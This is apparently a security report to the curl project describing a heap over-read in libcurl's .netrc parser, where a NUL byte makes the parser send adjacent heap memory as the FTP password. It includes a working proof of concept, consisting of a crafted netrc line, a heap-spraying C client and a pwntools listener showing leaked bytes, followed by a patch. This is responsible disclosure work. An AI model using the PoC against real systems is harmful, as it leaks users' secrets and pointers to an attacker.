curl · Report #3211126
Sensitive information disclosure with malicious netrc file
How it was found
libcurl at commit 879b6075a1132c137920060ed262b3f5a58c18c2 contains a vulnerability where it can be coerced into reading over the boundaries of a heap-chunk and sending the resulting data over the network to an attacker. This can lead to a disclosure of sensitive data, including pointers or other secret data on the heap.
The vulnerability exists in lib/netrc.c in the function parsenetrc() and has to do with the handling of the variables tok and tok_end:
const char *tok = netrcbuffer;
while(tok && !done) {
const char *tok_end;
// [...]
tok_end = tok;
if(!quoted) {
size_t len = 0;
CURLcode result;
while(*tok_end > ' ') {
tok_end++;
len++;
}
// [...]
}
// [...]
tok = ++tok_end;
}
tok and tok_end point to the individual tokens inside a line of the .netrc file. However, if a token ends with a \x00 character, the loop reads past the NUL-terminator and continues parsing random heap-data following the line. Take the following line as an example:
machine 127.0.0.1 login username password\x00 nothing-suspicious-here
When the parser arrives at password\x00, it treats the \x00 as a token separator and tok_end points to that byte, but then gets incremented at the end of the loop in ++tok_end. The following loop iteration continues parsing the data that follows the NUL-terminated string.
PoC
This bug can lead to a disclosure of memory contents, as demonstrated by the following PoC:
Consider the following .netrc file generated by this bash script:
$ echo -en 'machine 127.0.0.1 login username password\x00 nothing-suspicious-here\n' > poc.txt
And, consider the following libcurl client that uses this netrc file to make a connection:
#include <stdlib.h>
#include "curl/curl.h"
int main (int argc, char** argv) {
/* Pre-populate the heap with exemplary data */
char* spray = malloc(32 * 1024);
for (int i = 0; i < 32 * 1024; ++i) {
spray[i] = 'A';
}
free(spray);
/* Start transfer */
CURL* curl = curl_easy_init();
curl_easy_setopt(curl, CURLOPT_URL, "ftp://127.0.0.1:1337/");
curl_easy_setopt(curl, CURLOPT_NETRC, CURL_NETRC_REQUIRED);
curl_easy_setopt(curl, CURLOPT_NETRC_FILE, "./poc.txt");
curl_easy_perform(curl);
curl_easy_cleanup(curl);
}
Then, if we launch a small demo server that justs prints the transmitted password...
#!/usr/bin/env python3
from pwn import *
with listen(1337) as conn:
conn.wait_for_connection()
conn.sendline(b"220 Hello\r")
line = conn.recvline()
assert(line == b'USER username\r\n')
conn.sendline(b"331 continue\r")
line = conn.recvline()
print(line)
... we can observe the following output
$ python3 server.py
b'PASS AAAAAAAAAAAAAA\r\n'
This means that uninitialized memory content has been sent instead of the supplied password nothing-suspicious-here.
Exploit Scenario
This bug represents a vulnerability in a scenario, where a victim gets supplied with a malicious .netrc file by an attacker. When the victim makes a connection to the malicious host using the .netrc file, secret memory contents are transmitted to the attacker, with potentially previous heap-grooming to control what data gets transmitted.
Patch
The following patch tries to fix the bug by limiting the allowed characters for tok_end to whitespaces:
diff --git a/lib/netrc.c b/lib/netrc.c
index 7df3f17fc..2f80df36c 100644
--- a/lib/netrc.c
+++ b/lib/netrc.c
@@ -165,7 +165,7 @@ static NETRCcode parsenetrc(struct store_netrc *store,
tok_end++;
len++;
}
- if(!len) {
+ if(!len || (*tok_end != ' ' && *tok_end != '\n' && *tok_end != '\r')) {
retcode = NETRC_SYNTAX_ERROR;
goto out;
}
Impact
Leaking memory contents can help with exploiting other memory corruptions in order to achieve RCE if it used to leak pointer values. This can defeat exploit mitigations like ASLR and PIE. Alternatively it can be used to leak secrets that were previously used by the application and allocated on the heap.
Since the vulnerability is easy to trigger with the single NUL byte, is difficult to spot for the victim since \x00 is not printable and the resulting sensitive data gets sent over the network to the attacker, I suggest severity Medium.